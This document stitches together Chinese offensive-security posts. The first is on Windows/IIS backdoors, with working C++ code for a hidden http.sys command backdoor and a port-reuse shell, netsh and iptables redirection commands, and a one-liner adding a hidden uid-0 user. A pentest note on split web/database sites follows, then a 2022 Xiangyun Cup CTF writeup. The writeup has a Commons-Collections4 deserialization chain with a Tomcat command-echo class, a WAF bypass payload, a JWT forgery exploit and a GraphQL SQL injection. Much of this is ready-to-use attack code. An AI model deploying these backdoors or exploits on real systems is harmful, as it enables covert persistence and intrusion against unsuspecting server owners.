    startinfo.hStdError = hCmdWrite;
    startinfo.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION proinfo;    //创建cmd进程
    nRet = CreateProcess(NULL, pszCmd, NULL, NULL, 1, 0, NULL, NULL, &startinfo, &proinfo);
    int pid = GetProcessIdOfThread(proinfo.hThread);
    CloseHandle(hCmdRead);      //关闭cmd读写句柄HANDLE
    CloseHandle(hCmdWrite);
    CloseHandle(proinfo.hThread);
    CloseHandle(proinfo.hProcess);
    if (0 == nRet) {
        printf("CreatePipecmd()::CreateProcess() fail.\n");
        CloseHandle(hRead);
        CloseHandle(hWrite);
        result += buf;
    }
    Sleep(100);
    KillProcess(pid);
    while (ReadFile(hRead, buf, 2047, &len, NULL))
    {
        printf(buf);
        result += buf;
        ZeroMemory(buf, 2047);
    }
}

实现效果:
uh12t-ubagi

可以看到其中最初curl 1111.jsp是返回的404,后面注册url了后可以实现后门功能,而且calc不会造成阻塞,whoami也成功执行,带参数的route print也没有问题,route输出的内容比较多也没有问题。如果希望使用这个上线建议把上线命令写成ps1/bat/vbs,然后再去执行。

普通用户权限实现后门

上面介绍的都是在管理员权限使用。在普通用户下如何实现。
netsh http show urlacl

查看所有urlacl。
20210105165543

找到有一个自带url是everyone的

http_sys_backdoor.exe http://+:80/Temporary_Listen_Addresses/111.jsp

20210105170450

也可以自己手动添加everyone映射。

netsh http add urlacl url=http://+:80/1111.jsp user=everyone

IIS模块劫持实现

找了下资料看到3好学生介绍了两个项目,分别是C#和Cpp的实现,就不再重复造轮子了。

C

先简单说一下实现原理,在IIS7之后支持了集成模式,区别于之前的ISAPI的形式,可以通过C#编写托管模块处理网站的所有请求,这在IIS6中需要通过非托管代码写ISAPI filter来完成。

20210107111811

利用项目

https://github.com/WBGlIl/IIS_backdoor
整体获取Cookie中的关键字字段来进行执行相关内容和返回结果。如果不匹配相关内容就放过扔给后面程序。

代码说明:

https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A

实现效果
20210107172133

使用前提:
IIS开启应用程序开发功能。
20210107161819

这里在添加模块处需要注意.net版本。
20210107162415

Cpp

https://github.com/0x09AL/IIS-Raid

20210108114458

利用SO_REUSEADDR和SO_REUSEPORT端口复用

查到资料有提过这种思路,当这个api的第三个参数取值设置为SO_REUSEADDR时,套接字端口是可以共享复用的。但是此方法只针对Apache和IIS5.0以下版本有效。
因为在IIS6.0开始微软将网络通信封装在了ring0层,使用http.sys驱动进行通讯,所以针对iis的版本是在6.0以下,但是apache 的效果是可以使用的。

这里有个技巧是如果第一个监听进程是使用管理员/System权限启动得到话,常见:监听0.0.0.0:80,那么我们可以通过管理员权限建立一个127.0.0.1:80/10.10.10.x:80 其他网卡指定ip的监听。
如果使用普通用户实现的第一次监听,那么第二次监听我们可以使用管理员或者普通用户来进行复用。

复用的参考代码可以看:https://xz.aliyun.com/t/1661

//绑定操作
    saddr.sin_family = AF_INET;
    saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
    saddr.sin_port = htons(80);
    if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR)
    {
        printf("error!socket failed!//n");
        return (-1);
    }
    //复用操作
    if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0)
    {
        printf("[!] error!setsockopt failed!//n");
        return -1;
    }
    if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR)
    {
        ret = GetLastError();
        printf("[!] error!bind failed!//n");
        return -1;
    }
    listen(server_sock, 2);
    while (1)
    {
        caddsize = sizeof(scaddr);
        server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize);
        if (server_conn != INVALID_SOCKET)
        {
            mt = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid);
            if (mt == NULL)
            {
                printf("[!] Thread Creat Failed!//n");
                break;
            }
        }
        CloseHandle(mt);
    }
    closesocket(server_sock);
    WSACleanup();
    return 0;

20210131200052

20210129214937

最终实现如上图,但是有一点问题就是原文中直接返回的交互cmd,这样会导致正常80访问阻塞。开启监听后如果80有访问的话监听就会给客户端返回个cmd。

后面根据前面那个IIS后门修改了下,可以实现访问和后门相互无影响。

int main()
{
    WSAData wsaData;
    SOCKET listenSock;
    // 1st:  initial wsadata and socket
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    // 设置复用
    BOOL val = TRUE;
    setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));
    // 绑定
    sockaddr_in sockaaddr;
    sockaaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ////可自行更改IP,gethostbyname()
    sockaaddr.sin_family = AF_INET;
    sockaaddr.sin_port = htons(80);
    int ret;
    ret = bind(listenSock, (struct sockaddr*)&sockaaddr, sizeof(sockaddr));
    ret = listen(listenSock, SOMAXCONN);
    // 监听
    int len = sizeof(sockaaddr);
    SOCKET recvSock;
    printf("Start Listen......");
    recvSock = accept(listenSock, (struct sockaddr*)&sockaaddr, &len);
    closesocket(listenSock);
    int iResult = 0,iSendResult = 0;
    #define DEFAULT_BUF_LEN 512
    char caRecvBuf[DEFAULT_BUF_LEN];
    do 
    {
        iResult = recv(recvSock, caRecvBuf, DEFAULT_BUF_LEN, NULL);
        if (iResult > 0)
        {
            printf("Receive %d bytes of data...\n", iResult);
            string results;
            char buffer[1024];
            char* tis((char*)buffer);
            HANDLE hRead, hWrite;
            CreatePipecmd(caRecvBuf, hRead, hWrite, results);

            char* p = (char*)results.data();
            //iSendResult = send(ConnectionSocket, p, sizeof(results), NULL);
            iSendResult = send(recvSock, p, 2048, NULL);
            if (iSendResult == SOCKET_ERROR)
            {
                printf("fail to call send function\n");
                closesocket(recvSock);
                WSACleanup();
                return 1;
            }
            printf("Send %d bytes of data...\n", iResult);
        }
        else if (iResult == 0)
        {
            printf("End sending data\n");
        }
        else
        {
            printf("fail to call recv function\n");
            closesocket(recvSock);
            WSACleanup();
            return 1;
        }
    } while (iResult > 0);
    iResult = shutdown(recvSock, SD_BOTH);
    WSACleanup();
    return 0;
}

5fxh8-1tcpk

w3wp.exe利用

这个进程是IIS在以服务用户启动的进程,对用户访问网站时都会转到w3wp.exe进程进行处理。
上网冲浪中找到了这个思路,博主在跟api的时候找到了有CreatefileW函数调用所以hook了
原文:https://www.freebuf.com/articles/system/11305.html
代码:https://github.com/zhang5521/Aiwb
我在复现的过程中发现在win7/2008环境下针对w3wp.exe注入dll失败,而且通过apimonitor上也没有找到针对CreateFileW的调用,后来用之前的思路ZWcreatethreadex函数绕过session隔离,注入进程,但是还是失败,dll挂不上,而且将git上的代码编译后也无法在该环境使用。最后终于注意到了日期。估计是针对2003/iis5的环境有使用CreatefileW。这个思路等着其他大哥有环境的去测试下吧。

后来又找到一个针对安全狗这类的安全软件怎么监控IIS执行命令,判断是hook了w3wp.exe的CreateProcess函数。
文章:https://lufe1.cn/2018/07/18/%E5%AE%89%E5%85%A8%E7%8B%97%E7%A6%81%E6%AD%A2iis%E6%89%A7%E8%A1%8C%E6%8E%A2%E7%A9%B6/index.html
文章:https://lufe1.cn/2017/09/17/IIS%E5%91%BD%E4%BB%A4%E7%9B%91%E6%8E%A7/index.html

然后找到了bo主写的代码,本地测试还是不行 win7+iis7 windows2008+ iis8.5 x64都是进程注入失败

20210129161129

自己写的hook也尝试了,注入失败。

不想了,这算是个思路吧,

iptables端口转发

整体思路就是利用ssh软连接创建一个免密/key登录端口,iptables根据来源ip来分流到ssh服务中,这样后续建立的代理也是比较稳定的,而且是正向代理。
不过需要在实战中注意的是,很多服务器是通过负载ng来实现的,这样iptables的来源ip确认就很有必要了。还有就是很多根据不同路径路由到不同后端服务器的情况,在这种情况下你是无法指定连接正向的目标服务器,这样后面的服务器就无法连接到。

命令:

将对外开放的80端口流量转向本机22(只对8.8.8.0/24的来源IP有效,其他IP访问完全正常):

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22

这样我们访问目标的80就相当于访问它的22,可以通过添加用户,可以写key,或者软连接后门都可以,达到无缝接入目标内网的目的。

附一句话添加超级用户命令:

iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22
useradd -o -u 0 -g 0 ftps && usermod -p abZUy3uRlfJWA ftps   //密码为adminxxx.    python -c "import crypt;print crypt.crypt('adminxxx.','ab')"

https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio
https://www.cnblogs.com/-qing-/p/11427512.html 渗透测试-端口复用正向后门
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8IIS%E7%9A%84%E7%AB%AF%E5%8F%A3%E5%85%B1%E4%BA%AB%E5%8A%9F%E8%83%BD%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%AB%E5%A2%99/ 利用IIS的端口共享功能绕过防火墙
https://blog.csdn.net/directionofear/article/details/8155260 C#实现的自定义IIS认证模块



本文转载自: http://8sec.cc/index.php/archives/450/

 前言

看到了某篇关于站库分离类型站点相关的讨论,想总结下信息收集的技巧。

正文

关于站库分离类型站点网上暂时没有找到总结性的文章,所以想尝试记录下关于站库分离类型站点的渗透思路。

对站库分离类型站点通常可以有两个渗透入口点:

1.web 网站

2.数据库

渗透思路其实也是比较常规。但是这里如果两个入口点无非两种路径。

  1. 从 web 网站打入进而打站库分离的数据库,内网渗透
  2. 从数据库打入进而打站库分离的 web 网站,内网渗透

根据不同的路径定制不同的渗透测试方案,下面记录一下流程和容易遇到的问题。

一、从 web 入口渗透

从 web 入口通常就是通过网站的各种漏洞来 getshell,比如文件上传、命令执行、代码执行、还有 SQL 注入写入一句话(into outfile、日志备份等)。

在获得 web 权限或者有诸如文件读取等漏洞时,我们还读数据库配置文件、对数据库内容分析、查找数据库备份,进而对数据库目标 ip 进行渗透,以便后续操作。

二、从数据库入口渗透

但是这里要说主要是外网暴露的数据库入口点弱口令;web 网站 SQL 注入。

从数据库入口渗透,同样主要是为了获取更大的权限,或者扩展我们的渗透成果,比如从数据库里可以得到一些密码信息,用户名等,在后续的内网渗透中可以很有效的帮助我们。

站点是站库分离的,数据库和 web 不在同一台服务器上,这时候不能写入一句话木马通过 web 去连,因为路径没有用。如果是从 web 端找到的 SQL 注入,那么可以通过以下这些方式去做信息收集、获取权限。

1.MYSQL

(1)定位 web 端 ip 地址

通过查询 information_schema 库中的 PROCESSLIST 可以查看当前 MYSQL 的连接情况。因为 web 应用会产生查询数据库操作,所以在回显出来的 host 字段中会带回目标的 ip:port

select * from information_schema.PROCESSLIST;

0gn4q5u252g14788.jpg

在得到了 web 端的 ip 我们可以进而对 web 端进行渗透。

(2)load_file () 获取数据库所在服务器的敏感信息

如果没有 secure_file_priv 参数的限制(MySQL5.7 以下)我们还可以用 load_file() 函数对文件内容进行读取。

select load_file('C:/test.txt');# 左斜杠 /

53nzgniypch14790.jpg

还可以获取网卡信息,比如读:

/etc/udev/rules.d/70-persistent-net.rules获取网卡名称。

/etc/sysconfig/network-scripts/ifcfg-网卡静态IP
DHCP的话/var/lib/dhclient/dhclient--网卡.lease

2.MSSQL

(1) 判断是否站库分离

得到客户端主机名

select host_name();

得到服务端主机名

select @@servername;

根据结果判断是否分离,结果一样就可能站库同服务器,结果不一样就是站库分离。

(2)存储过程执行命令

我们可以通过 MSSQL 的存储过程执行系统命令,可以尝试直接提升权限后渗透其他主机,

常用到的两个:

  1. XP_CMDSHELL
  2. SP_OACREATE

可以探测数据库服务器是否出网,通过执行 ping 或者 curl 看是否出网,通常遇到 MSSQL 我们直接就通过命令执行上线了。

同样是数据库,自然其中有一些敏感信息,为了进一步渗透,可以整理密码本或者其他信息。


HireHackking

祥云杯2022 writeup

0x01 web

1.ezjava

下载源码对jar文件进行反编译,发现POST /myTest会出现反序列化漏洞

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302033773.png

util ,最后好像没用到

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302034773.png

检查程序,发现apachecommoncollections4,而且其反序列化利用类未被Patch

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302034341.png

一眼看到 commons-collection4-4.0, 于是直接用 ysoserial 打

考点发现就是 cc4

附上文章

外加springech 网上有现成的 poc

造轮子! :

package moe.orangemc; 
 
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; 
import javassist.ClassPool; 
import javassist.CtClass; 
import org.apache.commons.collections4.Transformer; 
import org.apache.commons.collections4.comparators.TransformingComparator; 
import org.apache.commons.collections4.functors.ChainedTransformer; 
import org.apache.commons.collections4.functors.ConstantTransformer; 
import org.apache.commons.collections4.functors.InstantiateTransformer; 
 
import javax.xml.transform.Templates; 
import java.io.ByteArrayInputStream; 
import java.io.ByteArrayOutputStream; 
import java.io.ObjectInputStream; 
import java.io.ObjectOutputStream; 
import java.lang.reflect.Field; 
import java.util.Base64; 
import java.util.PriorityQueue; 
 
public class Main { 
    public static void main(String[] args) { 
        try { 
            ClassPool classPool = ClassPool.getDefault(); 
            CtClass ctClass = classPool.getCtClass("Meow"); 
            byte[] bytes = ctClass.toBytecode(); 
            TemplatesImpl templates = new TemplatesImpl(); 
            Field f1 = templates.getClass().getDeclaredField("_name"); 
            Field f2 = templates.getClass().getDeclaredField("_bytecodes"); 
            f1.setAccessible(true); 
            f2.setAccessible(true); 
            f1.set(templates, "Meow"); 
            f2.set(templates, new byte[][]{bytes}); 
            Transformer<Class<?>, Object> chainedTransformer = new ChainedTransformer(new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})); 
            TransformingComparator<Class<?>, Object> transformingComparator = new TransformingComparator<>(chainedTransformer); 
            PriorityQueue<Integer> queue = new PriorityQueue<>(2); 
            queue.add(1); 
            queue.add(1); 
            Field f = queue.getClass().getDeclaredField("comparator"); 
            f.setAccessible(true); 
            f.set(queue, transformingComparator); 
            Field f3 = queue.getClass().getDeclaredField("queue"); 
            f3.setAccessible(true); 
            f3.set(queue, new Object[] {chainedTransformer, chainedTransformer}); 
 
            ByteArrayOutputStream baos = new ByteArrayOutputStream(); 
            ObjectOutputStream oos = new ObjectOutputStream(baos); 
            oos.writeObject(queue); 
            oos.close(); 
            String result = new String(Base64.getEncoder().encode(baos.toByteArray())); 
            System.out.println(result); 
        } catch (Exception e) { 
            e.printStackTrace(); 
        } 
    } 
}

根据上文代码,发现无法回显,但根据百度发现可以利用 apache 的 catalina 进行回显,同时程序包里有这个类库:

ixoifwr13mk15224.png

编写恶意类:

import com.sun.org.apache.xalan.internal.xsltc.DOM; 
import com.sun.org.apache.xalan.internal.xsltc.TransletException; 
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 
import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 
 
public class Meow extends AbstractTranslet { 
 
    public Meow() { 
        super(); 
        this.namesArray = new String[]{"meow"}; 
        try { 
 
            java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context"); 
            java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service"); 
            java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req"); 
            java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null); 
            contextField.setAccessible(true); 
            serviceField.setAccessible(true); 
            requestField.setAccessible(true); 
            getHandlerMethod.setAccessible(true); 
            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = 
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); 
            org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext()); 
            org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext); 
            org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors(); 
            for (int i=0;i<connectors.length;i++) { 
                if (4==connectors[i].getScheme().length()) { 
                    org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler(); 
                    if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) { 
                        Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses(); 
                        for (int j = 0; j < classes.length; j++) { 
                            if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) { 
                                System.out.println(classes[j].getName()); 
                                java.lang.reflect.Field globalField = classes[j].getDeclaredField("global"); 
                                java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors"); 
                                globalField.setAccessible(true); 
                                processorsField.setAccessible(true); 
                                org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null)); 
                                java.util.List list = (java.util.List) processorsField.get(requestGroupInfo); 
                                for (int k = 0; k < list.size(); k++) { 
                                    org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k)); 
                                    System.out.println(tempRequest.getHeader("tomcat")); 
                                    org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1); 
                                    String cmd = "" + "cat /flag" +""; 
                                    String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; 
                                    java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); 
                                    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\n"); 
                                    String output = s.hasNext() ? s.next() : ""; 
                                    java.io.Writer writer = request.getResponse().getWriter(); 
                                    java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter"); 
                                    usingWriter.setAccessible(true); 
                                    usingWriter.set(request.getResponse(), Boolean.FALSE); 
                                    writer.write(output); 
                                    writer.flush(); 
                                    break; 
                                } 
                                break; 
                            } 
                        } 
                    } 
                    break; 
                } 
 
 
            } 
 
 
        } catch (Exception e) { 
 
        } 
    } 
 
    @Override 
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 
 
    } 
 
    @Override 
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 
 
    } 
}

绕了一圈又找到了 Y4er 师傅的 ysoserial 修改版

https://github.com/Y4er/ysoserial

又试了下 cc4 结合 TomcatCmdEcho 内存马

java -jar ysoserial-main-1736fa42da-1.jar CommonsCollections4 "CLASS:TomcatCmdEcho" | base64

发包时注意把 Content-Type 删掉

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302045474.png

第二次发送的时候成功执行了命令

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302045093.png

查看 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302046074.png

后来想了想题目机器应该是不出网的, 一开始 cc2 的报错其实对于 rce 来说不影响, 结果后来换了个内存马的 payload 就成功了

不过 java 内存马目前还没怎么研究, 找个时间仔细看一下

把我们所有的东西组合起来,即可获得 payload,但是注意要把最后的回车删掉,不然无法反序列化,然后就得到 flag.

2.RustWaf

/src得到 nodejs 源代码

通过源码可以看到路由分别有三个 /readfile//src

并且可以通过源码知道我们操作的地方再 /readfile 并且定义了直接 post 传再 body

其实这个就是利用 fs 的函数,这个刷过 ctfshow 的同学都知道,可以读文件

const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const {  execFileSync } = require('child_process');

app.post('/readfile', function (req, res) {
    let body = req.body.toString();
    let file_to_read = "app.js";
    const file = execFileSync('/app/rust-waf', [body], {
        encoding: 'utf-8'
    }).trim();
    try {
        file_to_read = JSON.parse(file)
    } catch (e){
        file_to_read = file
    }
    let data = fs.readFileSync(file_to_read);
    res.send(data.toString());
});

app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

代码比较简单,重点就是在 /readfile 目录下读取文件,而会直接从 postbody 获取文件名,测试读 取 /etc/passwd 成功

aqs13lxfs4p15250.png

但是读取 flag 的时候没有成功,返回了 rust 的代码。可以发现如果 payload 中包含 flag 或者 proc 就会直接返回文件内容,如果绕过了再判断 payload 如果是 json 格式,那么是否存在 key 为 protocol ,如果存在也直接返回文件内容

use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
    #[serde(default = "default_protocol")]
    pub protocol: String,
    pub href: String,
    pub origin: String,
    pub pathname: String,
    pub hostname:String
    }
pub fn default_protocol() -> String {
    "http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||
    body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
        }

//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
    if body.to_lowercase().contains("flag") ||
    body.to_lowercase().contains("proc"){
        return String::from("./main.rs");
        }
        if let Ok(json_body) = serde_json::from_str::<Value>(body) {
            if let Some(json_body_obj) = json_body.as_object() {
                if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
                    return String::from("./main.rs");
                }
            }
            if let Ok(file) = serde_json::from_str::<File>(body) {
                return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
            }
        } else{
//body not json
            return String::from(body);
        }
        return String::from("./main.rs");
    }
    fn main() {
        let args: Vec<String> = env::args().collect();
        println!("{}", waf(&args[1]));
}

发现 corctf 的某道题和这道题类似,也是绕过 fs.readfileSync

链接

链接2

将 payload 以 json 格式传,但是这里用到的 payload 中存在 protocol 导致 rust 能检测到,要利用 unicode 绕过。

最终 payload :

{"hostname":"","pathname":"/fl%61g","protocol":"file:","origin":"fuckyou","pr\ud800otocol":"file:","href":"fuckyou"}

得到 flag 


3.FunWEB

赶在题目环境关闭前问了下学长思路然后复现了一波

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302200660.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302200628.png

题目存在 jwt, 用的是 python-jwt 库最近的漏洞 CVE-2022-39227

https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9

具体的 exp 在 commit 记录里面, 需要自己手动改

from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['is_admin'] = 1
    parsed_payload['exp'] = 2000000000
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
token = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsnRl37Y5RJvdfdfWTDCzDdiz2B6Ehb1st5Fa35p2d99wzH4GzqfWfH5zfFer0HkQ3mIPnLi_9zFiZ4mQCOLJO9RBL4lD5zHVTJxEDrESlbaAbVOMqPRBf0Z8mon1PjP8UIBfDd4RDlIl9wthO-NlNaAUp45woswLe9YfRAQxN47qrLPje7qNnHVJczvvxR4-zlW0W7ahmYwODfS-KFp8AC80xgMCnrCbSR0_Iy1nsiCEO8w2y3BEcqvflOOVt_lazJv34M5e28q0czbLXAETSzpvW4lVSr7g')
print(token)

这里注册一个 123/123 用户, 然后用网站给的 token 来打

注意 parsed_payload['is_admin'] = 1 里面的 1 必须是 int 类型

之后直接把输出复制到 cookie 里, 再访问 /getflag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302201814.png

提示需要 admin password, 于是点击查看成绩, 发现是 graphql 查询

参考文章

https://hwlanxiaojun.github.io/2020/04/14/当CTF遇上GraphQL的那些事/

https://threezh1.com/2020/05/24/GraphQL漏洞笔记及案例/

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302202359.png

根据输出的意思, 改成 getscoreusingid

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302203567.png

graphql 其实就是在后端和数据库中间加了一层, 类似的也有 sql 注入

id 处不能直接注入, 限制死了是 int 类型, 猜测可能也有 getscoreusingname

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302205780.png

改成 getscoreusingnamehahaha

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302205871.png

union 注入, 试了一圈后发现是 sqlite 数据库, 在 sqlite_master 表中查到表名为 users, 然后猜字段为 password

{ getscoreusingnamehahaha(name: "1' union select group_concat(password) from users --"){ name score } }

拿着 admin 的密码去登录, 点击查看 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302208316.png




0x02 MISC

1.0o0o0

文件尾是pk,然后伪加密可以解开

图片[1]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

一个混淆脚本,要解混淆

from secret import o0o0o0_formula


o0000o0000 = np.float32(cv2.imread('0000.bmp', 0))
o0000o0000o = np.float32(cv2.imread('oooo.bmp', 0))
o0o0o0o0o0 = o0000o0000


for i in range(o0000o0000.shape[0]//8):  # 0-64
    for j in range(o0000o0000.shape[1]//8):  # 0-64
        o0oo000oo0 = int(o0000o0000.shape[0] / 8)
        o000000000 = int(o0000o0000.shape[1] / 8)
        o0000000000 = o0000o0000o.shape[0] * o0000o0000o.shape[1]
        o0ooooooo0 = math.ceil(o0000000000 / (o0oo000oo0 * o000000000))
        o00o0o0o00 = cv2.dct(o0000o0000[8*i:8*i+8, 8*j:8*j+8])
        for ooooooooo in range(o0ooooooo0):
            x, y = o0ooooooo0-ooooooooo, o0ooooooo0+ooooooooo
            o000ooo000 = o00o0o0o00[x, y]
            o0o0o0o0o0o = o00o0o0o00[8 - x, 8 - y]
            oo0o0 = secret([i, ooooooooo, random.randint(0, 10)])
            oo000 = secret([j, ooooooooo, random.randint(0, 10)])
            if o000ooo000 <= o0o0o0o0o0o:
                o0oo000oo0oo = random.randint(24, 36)
            else:
                o0oo000oo0oo = random.randint(-24, -12)
            o00o0o0o00[8-x, 8-y] = float(o0oo000oo0oo)
            o00o0o0o00[x, y] += float((o0000o0000o[oo0o0][oo000] - 128)*2)
        o0o0o0o0o0[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(o00o0o0o00)


cv2.imwrite("0o0o0.bmp", o0o0o0o0o0)

实际上就是照着把变量换一便就行了,大概这样

import secrets
import numpy as np


img = np.float32(cv2.imread('0000.bmp', 0))
water = np.float32(cv2.imread('oooo.bmp', 0))


pic = img


for i in range(img.shape[0]//8):
    for j in range(img.shape[1]//8):
        a = int(img.shape[0] / 8)
        b = int(img.shape[1] / 8)
        num = water.shape[0] * water.shape[1]
        r = math.ceil(num / (a * b))
        dct = cv2.dct(img[8*i:8*i+8, 8*j:8*j+8])
        for m in range(r):
            rx,ry = r-m,r+m
            r1 = dct[rx,ry]
            r2 = dct[8-rx,8-ry]
            n1 = secret([i,m, random.randint(0, 10)])
            n2 = secret([i,m, random.randint(0, 10)])
            if r1<=r2:
                k = random.randint(24,36)
            else:
                k =  random.randint(-24, -12)
            
            dct[8-rx,8-ry] = float(k)
            dct[rx,ry] += float((water[m][m] - 128)*2)
        pic[8*i:8*i+8, 8*j:8*j+8] = cv2.idct(dct)
    
cv2.imwrite("0o0o0.bmp", pic)

ok,然后看看代码,

首先coploit非常牛逼,直接自动补全是dct域变换相关了,所以说这里直接也不用去想是什么算法相关了,网上脚本不太行,搜了下相关论文,还可以

一种基于DCT理论的空域数字水印算法-DAS算法 – 百度学术 (baidu.com)

然后具体更多细节内容在secert中,这里我们要结合论文内容进行分析

过一遍,r=4,然后把128的内容写入512内,之后进行8×8的分块,然后每个块需要4像素才可以全部隐藏。

计算获得

n1 = i*2+m*2

n2 = j*2+m//2

编写dct空域解密脚本

import numpy as np
import cv2 
from PIL import Image


img1 = cv2.imread('0o0o0.bmp')
img1 = img1.astype('float32')
img2 = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)
w,h = 128,128


r = 4  


water = Image.new('L', (w, h), 255)


res = []


a = int(img2.shape[0] / 8)
b = int(img2.shape[1] / 8)


for i in range(a):
    for j in range(b):
        dct = cv2.dct(img2[8*i:8*i+8, 8*j:8*j+8])
        for m in range(r):
            rx,ry = 4-m,4+m
            r1 = dct[rx,ry]
            r2 = dct[7-rx,7-ry]
            if r1>r2:
                water.putpixel((i*2+m%2,j*2+m//2),0)
                res.append(0)
            else:
                water.putpixel((i*2+m%2,j*2+m//2),255)
                res.append(1)


print(res)
water.show()

获得图片

图片[2]-2022祥云杯ALLMISC Writeup-魔法少女雪殇

读取,转ascii码,发现结果不对,尝试xor了一下0xff,获得flag

from PIL import Image


im = Image.open("water.bmp")
